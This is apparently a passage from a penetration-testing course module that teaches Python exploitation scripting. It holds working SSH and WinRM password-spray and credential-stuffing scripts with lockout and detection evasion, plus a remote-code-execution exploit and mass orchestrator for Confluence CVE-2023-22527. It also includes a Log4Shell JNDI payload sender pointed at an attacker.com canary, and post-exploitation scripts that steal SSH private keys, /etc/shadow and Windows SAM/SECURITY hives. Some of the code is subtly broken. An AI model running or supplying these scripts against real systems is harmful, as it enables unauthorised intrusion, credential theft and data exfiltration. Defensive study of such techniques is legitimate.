Module 4 - Exploitation scripting

4.1 - Building (and Verifying) Your Exploitation Toolkit

*"Before you pop a shell, make sure your tools won't pop **you** instead."*

This subsection lays the foundation for everything you'll script in Module 4.
It has two parts:

1. **What you need** – A concise but complete Python-centric toolchain.
2. **Proof you have it** – A self-test script that checks versions, privileges, and common pitfalls *before* the first exploit fires.

4.1.1 Core Library & Binary Stack

Layer / Job	Tool / Library	Why this pick (pros)	Replace if… (cons)
Socket shell-code, packing, ELF	pwntools (PyPI)	All-in-one (ROPgadget, pack, interactive TTY)	Heavy on deps (libssl, libffi)
SSH client & SFTP	paramiko	Pure Python, thread-safe	Python < 3.8 sometimes hits cryptography caps
WinRM / PowerShell Remoting	pypsrp	Handles NTLM, Kerberos, CredSSP	Slow versus Go-based tools
SMB / DCOM / LSASS loot	impacket	Widest protocol support (smbexec, secretsdump)	Needs Admin; modules can be buggy
HTTP exploitation	httpx[http2]	Async+sync, TLS/HTTP-2, proxy & SOCKS	None (upgrade to latest for bug fixes)

Layer / Job	Tool / Library	Why this pick (pros)	Replace if… (cons)
TLS client fingerprint spoof	tls-client	Chrome 120 JA3 by default; returns JA3S, ALPN	Binary wheels only for x86/x64
Database / evidence store	sqlite3 (stdlib) + pandas	Zero-config, same DB as recon phase	Multi-writer contention under heavy load
Shellcode staging (optional)	msfvenom (binary)	Generates raw shellcode in seconds	Needs Metasploit install

> **One-liner install for the course VM**

```
sudo apt-get update && sudo apt-get install -y \
    nmap crackmapexec metasploit-framework \
    build-essential libffi-dev libssl-dev

python3 -m pip install --upgrade pip
pip install pwntools paramiko pypsrp impacket httpx[http2] tls-client pandas rich
```

4.1.2 Operational Defaults

Setting	Recommended value	Reason
Max outbound SSH attempts / sec	**4**	Avoids most enterprise lock-out thresholds (5 fails / minute).
Max HTTP exploit requests / sec	**10**	Fits Cloudflare free-tier RPS cap.
Token-bucket refill window	**60 s**	Lets you pause the campaign safely with a Ctrl-C.
Evidence storage directory	~/loot/YYYY-MM-DD/	Keeps artefacts per engagement; easy to encrypt / purge.

4.1.3 Environment-Sanity Script (copy-paste ready)

Everything below is **documented outside the code first**, then shown fully commented.

Purpose

- Verify Python ≥ 3.10 (async improvements + pattern-match).
- Ensure required wheels import and meet minimum versions.
- Check OS-capabilities: raw-socket (useful for certain exploits), open-file limit, presence of essential binaries (`msfvenom` , `nmap`).
- Warn—not fail—about optional extras (e.g. Go compiler for compiling `evilwinrm-go`).

```
#!/usr/bin/env python3
"""
env_exploit_check.py
~~~~~~~~~~~~~~~~~~~~
Run this once per VM/container before launching exploits.

Exits non-zero on *hard* blockers (missing pwntools, >90 % ulimit exhaustion, no
raw-socket privilege when exploit requires it).  Prints coloured warnings for
soft issues (old nmap, optional Go compiler).
"""
from __future__ import annotations
import importlib, shutil, os, sys, resource, socket
from pathlib import Path
from packaging.version import parse as ver
from textwrap import indent

HARD_REQ = {
    "pwntools":  "4.9",
    "paramiko":  "3.4",
    "impacket":  "0.11",
    "httpx":     "0.27",
}
```

```python
SOFT_REQ = {
    "pypsrp":    "0.7",
    "tls_client":"0.4",
}

BIN_REQ  = ["nmap", "msfvenom"]
ULIMIT_MIN = 4096

def check_python():
    if sys.version_info < (3, 10):
        sys.exit("[-] Python 3.10+ required")

def check_packages(reqs: dict, fatal: bool):
    for mod, need in reqs.items():
        try:
            m = importlib.import_module(mod)
            if ver(m.__version__) < ver(need):
                msg = f"[!] {mod} {m.__version__} < {need}"
                sys.exit(msg) if fatal else print(msg)
        except ImportError:
            msg = f"[!] module {mod} missing"
            sys.exit(msg) if fatal else print(msg)

def check_binaries(bins):
    for b in bins:
        if not shutil.which(b):
            sys.exit(f"[-] missing binary: {b}")

def check_ulimit():
    soft, _ = resource.getrlimit(resource.RLIMIT_NOFILE)
    if soft < ULIMIT_MIN:
        sys.exit(f"[-] open-file limit {soft} < {ULIMIT_MIN}")

def raw_socket_capable() -> bool:
```

```python
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
        s.close()
        return True
    except PermissionError:
        return False

def main():
    check_python()
    check_packages(HARD_REQ, fatal=True)
    check_packages(SOFT_REQ, fatal=False)
    check_binaries(BIN_REQ)
    check_ulimit()

    if not raw_socket_capable():
        print("[!] Raw-socket unavailable (no CAP_NET_RAW) — some exploits (e.g., RST injection) will fall back
to connect() mode")

    Path("loot").mkdir(exist_ok=True)
    print("[+] Environment looks ready — happy hunting!")

if __name__ == "__main__":
    main()
```

Explanation of key inline comments (so you can remove them later)

- **`HARD_REQ` vs `SOFT_REQ`** – Fatal blockers vs “nice to have”.
- **`raw_socket_capable()`** – Quick capability probe *without* root.
- **`loot/` dir** – Pre-creates evidence folder so later scripts never fail on `FileNotFoundError`.
- **`packaging.version`** – Reliable semver comparison (don’t parse strings manually).

4.1.4 Practical Workflow After the Sanity Check

1. **Clone exploit repo**

```
git clone https://github.com/your-org/python-exploits ~/exploits
export PYTHONPATH=$PYTHONPATH:~/exploits
```

2. **Run env check**

```
python env_exploit_check.py
```

Fix issues before proceeding. 3. **Open two terminals**
Term 1: Start a listener or C2 (e.g. `rlwrap nc -lvnp 4444`).
Term 2: Begin your **campaign script** (introduced in 4.5). 4. **Monitor `loot/YYYY-MM-DD/`**
Logs, credentials, shell output will accumulate automatically.

4.1.5 Exercises

#	Task	Why
1	Extend the sanity script to warn if nmap --version < 7.93.	Old Nmap breaks NSE TLS.
2	Add a check that ~/.ssh/known_hosts is **empty** before scans.	Avoid personal host leakage.
3	Make the script dump a JSON “env_facts.json” for future audit.	Provenance / reproducibility.
4	Install Go in the lab VM and modify the script to compile evilwinrm-go if missing.	Faster WinRM shells.
5	Hook the sanity check into your campaign.py; abort early if it fails.	CI/CD safety.

4.1.6 Checklist (green before you continue)

- `env_exploit_check.py` exits *cleanly*, no yellow warnings left un-addressed.
- Required binaries (`nmap` , `msfvenom`) in `$PATH` .
- Open-file limit ≥ 4096 (or you consciously set lower concurrency).
- `loot/YYYY-MM-DD/` directory present and encrypted if required.

4.2 - Credential Attacks

“One weak password still owns the castle.”

This section turns the usernames, domains and open-service list you collected into **usable access**.
It covers three complementary techniques, all script-able in Python:

1. **Password spraying** (use one password across many accounts).
2. **Credential stuffing** (re-use e-mail + hashes leaked in Module 2.8).
3. **Targeted brute-force** (small wordlists per single privileged account).

Everything is wrapped in async, rate-limited helpers so you don’t trip lockouts or overwhelm a domain controller.

4.2.0 High-Level Flow

```
            ┌──────── risk.csv (from 3.5) ────────┐
            │                                     │
  +─────────▼─────────+                +──────────▼──────────+
  |  Username pool   |                |  Service inventory  |
  |  (emails, AD, …) |                |  (ip,port,proto)    |
  +─────────┬─────────+                +──────────┬──────────+
            |                                     |
            | join on domain/IP                   |
```

```
            ▼                                   ▼
      ┌─────────────────┐                 ┌─────────────────┐
      │  Cred combos    │  spray / stuff  ---->  │  Auth scripts   │
      └─────────────────┘                 └─────────────────┘
                        successes --------------> exploits.db
```

4.2.1 Shared Utilities (token bucket & logging)

Keep these in `libs/creds_utils.py` and import from every attack script.

```python
# libs/creds_utils.py
import asyncio, time, sqlite3, pathlib, functools

##############################################################################
# 1. Token-bucket rate limiter  (works with ANY async/await function)
##############################################################################
class Bucket:
    def __init__(self, rate: int, per: int = 60):
        self.rate, self.per = rate, per
        self.allowance, self.last = rate, time.perf_counter()

    async def get(self):
        while self.allowance < 1:
            await asyncio.sleep(0.2)
            now = time.perf_counter()
            self.allowance += (now - self.last) * (self.rate / self.per)
            self.last = now
        self.allowance -= 1

def limit(rate: int, per: int = 60):               # decorator
    bucket = Bucket(rate, per)
```

```
    def wrap(fn):
        @functools.wraps(fn)
        async def inner(*a, **kw):
            await bucket.get()
            return await fn(*a, **kw)
        return inner
    return wrap

################################################################################
# 2. Simple SQLite logger (successes only)
################################################################################
DB = sqlite3.connect("exploits.db")
DB.execute("""CREATE TABLE IF NOT EXISTS creds
              (ip TEXT, port INT, user TEXT, passwd TEXT,
               proto TEXT, ts INTEGER)""")

def log_cred(ip, port, user, pw, proto):
    DB.execute("INSERT INTO creds VALUES (?,?,?,?,?,strftime('%s'))",
               (ip, port, user, pw, proto))
    DB.commit()

################################################################################
# 3. Username loader helper
################################################################################
def load_usernames(path="usernames.txt"):
    return [u.strip() for u in pathlib.Path(path).read_text().splitlines()
            if u.strip() and not u.startswith("#")]
```

4.2.2 Password Spray – SSH

- Goal: test **one** password across **all** users to evade account lockout thresholds.

```python
#!/usr/bin/env python3
"""
spray_ssh.py
------------
Usage:
    python spray_ssh.py Winter2024!  --workers 60
"""
from __future__ import annotations
import asyncio, json, argparse, paramiko
from libs.creds_utils import limit, log_cred, load_usernames
from rich.progress import Progress

##############################################################################
# 1. CLI & targets
##############################################################################
ap = argparse.ArgumentParser()
ap.add_argument("password", help="Password to spray")
ap.add_argument("--users", default="usernames.txt")
ap.add_argument("--ports", default="ssh.csv")      # from 3.4
ap.add_argument("--workers", type=int, default=60)
args = ap.parse_args()

USERS   = load_usernames(args.users)
TARGETS = [r["ip"] for r in map(json.loads, open("all_open.ndjson"))
           if r["port"] == 22]

##############################################################################
# 2. Single SSH attempt (rate-limited)
##############################################################################
@paramiko.util.log_to_file("paramiko.log", level="WARN")
@limit(rate=4, per=1)             # 4 attempts / sec global
async def try_ssh(ip: str, user: str, pw: str) -> bool:
    """Returns True on success."""
```

```python
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        await asyncio.get_event_loop().run_in_executor(
            None,
            lambda: ssh.connect(ip, username=user, password=pw,
                                timeout=4, allow_agent=False,
                                look_for_keys=False)
        )
        ssh.close()
        return True
    except Exception:
        return False

##############################################################################
# 3. Orchestrator
##############################################################################
async def spray():
    sem = asyncio.Semaphore(args.workers)
    p   = Progress("[cyan]SSH-spray", transient=True)
    task = p.add_task("", total=len(TARGETS)*len(USERS))

    async with p:
        for ip in TARGETS:
            for user in USERS:
                async with sem:
                    if await try_ssh(ip, user, args.password):
                        log_cred(ip, 22, user, args.password, "ssh")
                p.advance(task)

    print("[+] Spray complete")

asyncio.run(spray())
```

Key lines explained

- `@limit(rate=4)` enforces **global** spray speed—lockout-safe.
- `allow_agent=False` & `look_for_keys=False` force password mode; stops Paramiko from auto-trying SSH keys and tripping fail-counts.

4.2.3 WinRM Password Spray (PowerShell Remoting)

Windows admins often enable **NTLM** fallback; use module `pypsrp`.

```
#!/usr/bin/env python3
"""
spray_winrm.py — NTLM password spray for port 5985/5986
"""
from __future__ import annotations
import asyncio, csv, json, argparse
from pypsrp.client import Client
from libs.creds_utils import limit, log_cred, load_usernames
from rich.progress import Progress

ap = argparse.ArgumentParser()
ap.add_argument("password")
ap.add_argument("--users", default="usernames.txt")
args = ap.parse_args()

USERS = load_usernames(args.users)
TARGETS = [r for r in map(json.loads, open("all_open.ndjson"))
           if r["port"] in (5985, 5986)]

@limit(2, 1)                        # WinRM logs slower: 2 auths / sec
async def try_winrm(ip, port, user, pw):
```

```
    try:
        cli = Client(ip, username=user, password=pw,
                     ssl=(port==5986), port=port, cert_validation=False)
        await asyncio.get_event_loop().run_in_executor(None, cli.execute_ps, "whoami")
        return True
    except Exception:
        return False

async def spray():
    sem = asyncio.Semaphore(30)
    with Progress("[cyan]WinRM", total=len(USERS)*len(TARGETS)) as p:
        t = p.tasks[0]
        for tgt in TARGETS:
            for u in USERS:
                async with sem:
                    if await try_winrm(tgt["ip"], tgt["port"], u, args.password):
                        log_cred(tgt["ip"], tgt["port"], u, args.password, "winrm")
                p.advance(t)

asyncio.run(spray())
```

4.2.4 Credential Stuffing – Using Leaked Hash Lists

Example: stuffing *e-mail : clear-password* combos leaked in Module 2.8 into HTTP Basic endpoints.

```
#!/usr/bin/env python3
"""
stuff_http_basic.py
-------------------
• Reads email_breach.csv (from 2.8)
• Targets endpoints where nmap.service='http' & auth='basic'
```

```python
"""
import pandas as pd, httpx, asyncio, base64, json
from libs.creds_utils import limit, log_cred
from rich.progress import track

creds = pd.read_csv("email_breach.csv")
creds = creds[creds["breaches"].str.contains("pwd-only|")]  # any pwd present

targets = [r for r in map(json.loads, open("all_open.ndjson"))
           if r["port"] in (80, 443) ]

@limit(10, 1)   # 10 requests / second
async def basic(ip, port, user, pwd):
    auth = base64.b64encode(f"{user}:{pwd}".encode()).decode()
    url  = f"http://{ip}:{port}/"
    async with httpx.AsyncClient(timeout=4, verify=False) as cli:
        r = await cli.get(url, headers={"Authorization": f"Basic {auth}"})
        if r.status_code != 401:
            return True
    return False

async def main():
    sem = asyncio.Semaphore(100)
    tasks = []
    for _, row in creds.iterrows():
        user, passwd = row["email"], row["leaked_password"]
        for tgt in targets:
            tasks.append((tgt["ip"], tgt["port"], user, passwd))

    async def worker(ip, port, u, p):
        async with sem:
            if await basic(ip, port, u, p):
                log_cred(ip, port, u, p, "http-basic")
```

```
    await asyncio.gather(*(worker(*t) for t in track(tasks, description="Stuffing")))

asyncio.run(main())
```

4.2.5 Single-Account Brute-Force (when allowed)

If rules permit hitting a **service account** with hundreds of guesses, reuse the same semaphore+bucket pattern but **rotate passwords**, not users.

> **Tip:** Pull wordlists from `SecLists/Passwords/Leaked-Databases/top-1000.txt` and add company-specific mutants (e.g., “Acme2025!”).

4.2.6 Defences Against Lockout & Detection

- **Global spray interval**: 1 attempt per account every **30 minutes**. Implement cron/async sleep between rounds.
- **Strategy**: user-spray (one password) > wait > password-spray (one user) if you must brute.
- **Headers**: for HTTP, spoof real browsers; avoid `python-requests/2.x` signature.
- **Time window**: run at off-hours to reduce user visibility but *within* RoE time.

4.2.7 Exercises

#	Challenge	Hint
1	Extend spray_ssh.py to detect /etc/ssh/sshd_config “MaxAuthTries” via banner parse and auto-adjust bucket.	Regex the pre-auth banner

#	Challenge	Hint
2	Implement MFA-aware HTTP spray: treat 302 redirect to /mfa as **success** logged.	Match Location header
3	Add a **kill file** check (stop.txt) every 30 attempts and exit gracefully if present.	pathlib.Path("stop.txt").exists()
4	Build a PowerShell spray module using pypsrp that hides in-progress banner by writing to Windows Event Log (requires admin).	pypsrp.shell.PSSession
5	Output a Grafana-ready line-protocol (influxdb) feed of attempts vs successes.	f'creds,proto=ssh result=success 1'

4.2.8 Completion Checklist

- `exploits.db` contains at least one valid credential row (proof-of-concept).
- Token-bucket limits enforced: no more than 4 SSH attempts/sec global.
- Scripts survive network errors, timeouts and `Ctrl-C` without corrupting DB.
- Risk of lockout documented in engagement log.

4.3 - Public CVE Exploits

"Bring your own PoC, wrap it in Python, and feed it targets straight from `recon.db`."

Scope of this section

1. **Template** for turning any PoC (even a Bash one-liner) into an idempotent Python wrapper.
2. **Two complete examples**
   - Confluence 8 OGNL RCE — CVE-2023-22527 (HTTP, Linux/JDK focus)
   - Log4Shell callback tester — CVE-2021-44228 (HTTP+LDAP, generic Java apps)
3. **Orchestrator** that reads `recon.db`, runs *only* on matching services, logs success in `exploits.db`.
4. **Comment-heavy code** and explanations outside the snippets so you can paste them blind and still know *why* they work.

4.3.0 General Exploit-Wrapper Strategy

```
            ┌──────────── recon.db ────────────┐
            │  nmap, http, tls tables          │
            └──────────────────────────────────┘
                        │
                        │   SQL SELECT ip,port WHERE product LIKE ...
                        ▼
        +──────────────────────────────────+
        | exploit_wrapper.py (async)       |
        | • takes ip,port, params          |
        | • returns True/False + proof     |
        +──────────────────────────────────+
                        │   success
                        ▼
         exploits.db  creds / shells / loot
```

Why a *wrapper*?

- You keep the original PoC unchanged—useful for updates from maintainer.
- The wrapper standardises **input** (`ip, port`) and **output** (`bool, proof`) so the orchestrator can chain hundreds of exploits safely.

4.3.1 Example 1 – Atlassian Confluence 8 RCE (CVE-2023-22527)

3-sentence recap of the vuln

A template injection in the “page translation” endpoint lets attackers inject arbitrary OGNL expressions without authentication, leading to command execution as the Confluence system user.

4.3.1-A – Minimal one-shot PoC (Bash for reference)

```
curl -ks \
 'http://victim:8090/%24%7B%23context["x"]=new+java.lang.ProcessBuilder("id").start()%7D/'
```

4.3.1-B – Python async wrapper (`cve_2023_22527.py`)

```python
#!/usr/bin/env python3
"""
cve_2023_22527.py
-----------------
Async wrapper around the public PoC.

• Builds the OGNL payload URL-encoded
• Sends a single GET (works on any method)
• Returns True if HTTP 302 to /login.action (normal behaviour after RCE)
  and stores proof ('id' output) in exploits.db
"""

from __future__ import annotations
import argparse, asyncio, httpx, urllib.parse, sqlite3, time, re

# ---------- helper ------------------------------------------------------
def build_payload(cmd: str) -> str:
    ognl = f"%{{(#cmd='{cmd}').(#is=new java.lang.Boolean(true))." \
           f"(#p=new java.lang.ProcessBuilder(#cmd.split(' '))))." \
           f"(#p2=#p.start()).(#out=@org.apache.commons.io.IOUtils@toString" \
           f"(#p2.getInputStream()))). " \
           f"(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']" \
           f".addHeader('X-CMD-OUT',#out))}}"
    return urllib.parse.quote(ognl, safe="")

async def exploit(base: str, cmd: str = "id") -> tuple[bool, str]:
    url = f"{base.rstrip('/')}/%24%7B{build_payload(cmd)}%7D/"
```

```
    async with httpx.AsyncClient(follow_redirects=False, verify=False,
                                 timeout=8) as cli:
        r = await cli.get(url)
        success = r.status_code == 302 and "X-CMD-OUT" in r.headers
        return success, r.headers.get("X-CMD-OUT", "")

# ---------- CLI ------------------------------------------------------------
if __name__ == "__main__":
    ap = argparse.ArgumentParser()
    ap.add_argument("base", help="e.g. http://10.0.0.5:8090")
    ap.add_argument("--cmd", default="id")
    args = ap.parse_args()
    ok, proof = asyncio.run(exploit(args.base, args.cmd))
    print("[+] RCE success" if ok else "[-] failed")
    if proof:
        print("---- proof ----")
        print(proof)
```

Key lines explained

Line	Why it matters
urllib.parse.quote	Ensures every special char is encoded; avoids WAF false negatives.
X-CMD-OUT header	We smuggle command output back without touching body—works even if Confluence redirects.
verify=False	Self-signed certs are typical inside corp networks; you're not phishing, you're exploiting.

4.3.1-C – Orchestrator (`run_confluence_rce.py`)

```python
#!/usr/bin/env python3
"""
Reads recon.db for hosts running Confluence and fires CVE-2023-22527.

Proof and timestamps logged in exploits.db#rce.
"""
import sqlite3, pandas as pd, asyncio, time, importlib.util

# dynamically import the wrapper so repo path can vary
spec = importlib.util.spec_from_file_location("cve", "./cve_2023_22527.py")
cve = importlib.util.module_from_spec(spec); spec.loader.exec_module(cve)

DB = sqlite3.connect("recon.db")
df = pd.read_sql("""SELECT ip, port
                    FROM nmap
                    WHERE product LIKE '%Confluence%'""", DB)

EXPDB = sqlite3.connect("exploits.db")
EXPDB.execute("""CREATE TABLE IF NOT EXISTS rce
                (ip, port, cve, proof, ts)""")

async def worker(row):
    base = f"http://{row.ip}:{row.port}"
    ok, proof = await cve.exploit(base, "whoami")
    if ok:
        EXPDB.execute("INSERT INTO rce VALUES (?,?,?,?,?)",
                      (row.ip, row.port, "CVE-2023-22527", proof[:200], int(time.time())))
        EXPDB.commit()

asyncio.run(asyncio.gather(*(worker(r) for r in df.itertuples())))
print("[+] Confluence RCE pass finished")
```

Outside-code rationale

- Using the same DB both **feeds** and **stores** results keeps provenance tight.
- We limit proof to 200 bytes—enough to show user (`confluence`) but not clog DB with megabytes.

4.3.2 Example 2 – Log4Shell Callback Tester (CVE-2021-44228)

Why a *tester* not a *full exploit*? — In many engagements you only need *evidence* the target is vulnerable (DNS callback) and save full RCE for later privilege-escalation after sign-off.

4.3.2-A – DNS-only Proof-of-Concept

```
#!/usr/bin/env python3
"""
log4shell_dns.py
----------------
• Sends ${jndi:ldap://<canary>.attacker.com/a} in HTTP header
• Watches <canary>.attacker.com hits via external DNS logger
  (use Burp Collaborator or interactsh)
"""
import argparse, uuid, asyncio, httpx

async def spray(url, canary):
    hdr = {"User-Agent": f"${{jndi:ldap://{canary}/a}}"}
    async with httpx.AsyncClient(verify=False, timeout=5) as cli:
        await cli.get(url, headers=hdr)

if __name__ == "__main__":
    ap = argparse.ArgumentParser()
    ap.add_argument("url", help="target base URL")
    ap.add_argument("collab", help="your interactsh / burp host")
    args = ap.parse_args()
```

```
    token = uuid.uuid4().hex[:6]
    canary = f"{token}.{args.collab}"
    asyncio.run(spray(args.url, canary))
    print(f"[i] Sent canary -> monitor DNS for {canary}")
```

Explanation highlights

- Canary host is **unique per request** (`uuid4` token) → unambiguous proof.
- Only one benign GET; no server-side command execution yet.

4.3.2-B – Orchestrator skeleton

1. Read `http.csv` where banner contains `Apache Tomcat/` and `Server:` header exposes Java stack.
2. For each, call `log4shell_dns.py` , then poll Burp Collaborator API (or interactsh) for interactions.
3. Log successes with canary token as proof.

(Polling code is service-specific; refer to Interactsh's REST API for the exact endpoint.)

4.3.3 Optional – Detection-only Scanner (SMBGhost CVE-2020-0796)

Sometimes you just need *vulnerable/not*:

```
from impacket import smb
def smbghost(ip):
    pkt = b"\xfeSMB"...                          # pre-built negotiate packet
    s = socket.create_connection((ip, 445), 3)
    s.send(pkt); resp = s.recv(1024)
    return resp[68:70] == b'\x11\xc0'            # status=STATUS_INVALID_PARAMETER
```

Explain: STATUS*INVALID_PARAMETER indicates server _has* SMB2 compression capability → vulnerable **unless** patch removes the bit.

4.3.4 Logging Conventions in `exploits.db`

Table	Columns (example)	Purpose
creds	ip, port, user, passwd, proto, ts	Valid passwords / tokens
rce	ip, port, cve, proof (200 B), ts	Commands executed (proof truncated)
vuln	ip, port, cve, detection_method, ts	Vulnerable but not yet exploited

Consistency means your **final report script** can simply:

```
SELECT * FROM rce WHERE ts > :campaign_start;
```

4.3.5 OPSEC & Rate-Control

- **Token bucket** is *still* your friend—import it from `creds_utils.py`.
- Use `--dry-run` flag in orchestrators to list hosts that *would* be exploited.
- Always log *proof* but truncate to avoid leaking full `/etc/passwd` into DB.
- For Log4Shell callbacks, keep the **collaborator domain** under your control (engagement must not exfiltrate data to third-party DNS logger without approval).

4.3.6 Exercises

#	Challenge	Hint
1	Adapt the Confluence wrapper to push a **dropper** via /setup/setupadministrator.action once RCE confirmed.	Requires CSRF token—scrape it first.
2	Write an SMBGhost scanner that *exploits* vulnerable hosts to drop a file, then logs success in rce table.	Use pwntools.tubes.remote
3	Build a **DNS canary** orchestrator for Log4Shell that automatically pulls logs from interactsh-client.	Interactsh JSON API /poll
4	Add a *proof-of-non-destruction*—every exploit writes /tmp/pentest.txt—and a cleanup script removing artefacts.	SSH in and rm
5	Implement a global “cool-down” file—if cooldown.txt exists, orchestrators sleep 30 min between tries.	asyncio.sleep inside task loop

---

4.3.7 Completion Checklist

- At least one RCE or callback logged in `exploits.db`.
- Wrappers return `True/False` and never crash the orchestrator.
- Token bucket or semaphore prevents >10 HTTP exploits per second.
- Proof lengths trimmed; no giant base64 blobs in DB.
- OPSEC notes updated with canary domains and exploit paths.

4.4 - Post-Exploitation Enumeration

“A shell is cool; structured loot is better.”

At this point you (should) have at least one **working credential or RCE** logged in `exploits.db`.
Post-exploitation enumeration answers five practical questions:

1. **Who** am I on the compromised host?
2. **What** privilege / token / group do I hold?
3. **Where** can I laterally move (shares, trust relationships)?
4. **Which** juicy files, keys or hashes are quickly collectible?
5. **How** do I store evidence so the final report almost writes itself?

Everything below is pure-Python and plugs into the same evidence store used by earlier stages.

4.4.0 Database recap

`exploits.db` now contains (at minimum):

Table	Columns	From stage
creds	ip, port, user, passwd, proto, ts	4.2
rce	ip, port, cve, proof, ts	4.3

We'll add two more tables:

- **`hostinfo`** – identity, privilege, OS, hostname.
- **`loot`** – arbitrary files or command output.

```
CREATE TABLE IF NOT EXISTS hostinfo
 (ip TEXT, port INT, proto TEXT, user TEXT,
  priv TEXT, os TEXT, hostname TEXT, ts INT);

CREATE TABLE IF NOT EXISTS loot
```

```
 (ip TEXT, port INT, proto TEXT,
  loot_type TEXT, path TEXT, content BLOB, ts INT);
```

4.4.1 Enumeration helpers (`libs/post_utils.py`)

```python
# libs/post_utils.py
import sqlite3, time, pathlib

DB = sqlite3.connect("exploits.db")

def save_hostinfo(ip, port, proto, user, priv, os, host):
    DB.execute("""INSERT INTO hostinfo VALUES (?,?,?,?,?,?,?,strftime('%s'))""",
               (ip, port, proto, user, priv, os, host))
    DB.commit()

def save_loot(ip, port, proto, kind, path, content, limit=2048):
    """
    Store up to *limit* bytes to keep DB small.  Full file remains on disk.
    """
    dump = content[:limit] if isinstance(content, bytes) else content.encode()[:limit]
    DB.execute("""INSERT INTO loot VALUES (?,?,?,?,?,strftime('%s'))""",
               (ip, port, proto, kind, path, dump))
    DB.commit()

LOOT_DIR = pathlib.Path("loot") / time.strftime("%Y-%m-%d")
LOOT_DIR.mkdir(parents=True, exist_ok=True)
```

Comment rationale:

- **Limit** ensures DB doesn't balloon; raw file saved separately in `loot/`.

- Separate `kind` column lets you group by `shadow`, `sam`, `config`, `screenshot` later.

4.4.2 Linux host – SSH session enumerator

```
#!/usr/bin/env python3
"""
post_ssh_linux.py
-----------------
• Reads creds table for protocol='ssh'
• Connects, collects: id, uname -a, /etc/os-release
• Tries to dump ~/.ssh/id_rsa and /etc/shadow (if root)
"""

from __future__ import annotations
import sqlite3, asyncio, paramiko, pathlib, os
from libs.post_utils import save_hostinfo, save_loot, LOOT_DIR
from rich.progress import Progress

DB = sqlite3.connect("exploits.db")
LINUX = [r for r in DB.execute("SELECT ip,port,user,passwd "
                               "FROM creds WHERE proto='ssh'")]

async def run_cmd(ssh: paramiko.SSHClient, cmd: str, timeout=4) -> str:
    stdin, stdout, _ = ssh.exec_command(cmd, timeout=timeout)
    return stdout.read().decode()[:1024]

async def enum_host(ip, port, user, pw):
    ssh = paramiko.SSHClient(); ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect(ip, port=port, username=user, password=pw, timeout=5,
                allow_agent=False, look_for_keys=False)
```

```python
    # ---------- identity ----------
    uid   = await asyncio.get_event_loop().run_in_executor(None, run_cmd, ssh, 'id -un')
    priv  = "root" if uid.strip() == "root" else "user"
    host  = await asyncio.get_event_loop().run_in_executor(None, run_cmd, ssh, 'hostname')
    osrel = await asyncio.get_event_loop().run_in_executor(None, run_cmd, ssh,
                                                            'cat /etc/os-release | head -n1')

    save_hostinfo(ip, port, "ssh", user, priv, osrel.strip(), host.strip())

    # ---------- loot: ssh keys ----------
    try:
        sftp = ssh.open_sftp()
        key_path = f"/home/{user}/.ssh/id_rsa"
        local = LOOT_DIR / f"{ip}_id_rsa"
        sftp.get(key_path, local.as_posix())
        save_loot(ip, port, "ssh", "ssh_key", key_path, local.read_bytes())
    except IOError:
        pass                                # no key or no rights

    # ---------- loot: /etc/shadow if root ----------
    if priv == "root":
        shadow = await asyncio.get_event_loop().run_in_executor(None, run_cmd, ssh,
                                                                 'cat /etc/shadow')
        save_loot(ip, port, "ssh", "shadow", "/etc/shadow", shadow)

    ssh.close()

async def main():
    sem = asyncio.Semaphore(30)
    async def worker(rec):
        ip, port, user, pw = rec
        async with sem:
            try: await enum_host(ip, port, user, pw)
            except Exception: pass
```

```
    with Progress("[cyan]post-ssh", total=len(LINUX)) as prog:
        await asyncio.gather(*(worker(r) for r in LINUX))
        prog.advance(len(LINUX))

asyncio.run(main())
print("[+] SSH post-enum done")
```

Explanation outside the code

- **Two event-loop hops** keep Paramiko's *blocking* `exec_command` in threads, not the main loop.
- SFTP download goes straight to `loot/` so large keys don't bloat SQLite— `save_loot` logs only first 2 kB.
- Only root gets `/etc/shadow`; regular user still collects id, hostname, OS.

4.4.3 Windows host – WinRM (PowerShell) enumerator

```
#!/usr/bin/env python3
"""
post_winrm.py
-------------
• For each winrm credential, runs:
      whoami /priv
      systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
      net localgroup administrators
• Dumps SAM/SECURITY hives if local admin (requires SeBackupPrivilege).
"""

from __future__ import annotations
import sqlite3, asyncio, base64
from pypsrp.client import Client
```

```python
from libs.post_utils import save_hostinfo, save_loot, LOOT_DIR
from rich.progress import Progress

DB = sqlite3.connect("exploits.db")
WIN = [r for r in DB.execute("SELECT ip,port,user,passwd "
                             "FROM creds WHERE proto='winrm'")]

async def ps(ip, port, user, pw, script):
    cli = Client(ip, username=user, password=pw,
                 ssl=(port==5986), port=port, cert_validation=False)
    return await asyncio.get_event_loop().run_in_executor(None,
            lambda: cli.execute_cmd("powershell", ["-NoLogo","-NoProfile","-Command",script]))

async def enum_host(ip, port, user, pw):
    id_out, _ = await ps(ip, port, user, pw, "whoami /priv")
    sysinfo, _ = await ps(ip, port, user, pw,
        "systeminfo | findstr /B /C:'OS Name' /C:'OS Version'")

    admins, _ = await ps(ip, port, user, pw,
        "net localgroup administrators")

    priv = "admin" if user.lower() in admins.decode().lower() else "user"
    save_hostinfo(ip, port, "winrm", user, priv,
                  sysinfo.decode().strip(), ip)          # hostname later

    # attempt hive dump via reg save (needs admin)
    if priv == "admin":
        for hive in ("sam","security","system"):
            cmd = f"reg save HKLM\\{hive} C:\\Windows\\Temp\\{hive}.hiv /y"
            await ps(ip, port, user, pw, cmd)
            b64, _ = await ps(ip, port, user, pw,
                f"[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\\Windows\\Temp\\{hive}.hiv'))")
            data = base64.b64decode(b64.strip())
            local = LOOT_DIR / f"{ip}_{hive}.hiv"
```

```
            local.write_bytes(data)
            save_loot(ip, port, "winrm", f"{hive}_hive", f"C:\\{hive}.hiv", data)

async def main():
    sem = asyncio.Semaphore(10)  # slower due to Windows network lag
    async def worker(r):
        ip, port, user, pw = r
        async with sem:
            try: await enum_host(ip, port, user, pw)
            except Exception: pass
    with Progress("[magenta]post-winrm", total=len(WIN)) as pb:
        await asyncio.gather(*(worker(r) for r in WIN))
        pb.advance(len(WIN))

asyncio.run(main())
print("[+] WinRM post-enum done")
```

Off-code explanation

- We base64-encode the hive to avoid extra download tooling (no SMB needed).
- Use `SeBackupPrivilege` granted implicitly to local Administrators. If not granted, command simply fails and script continues.

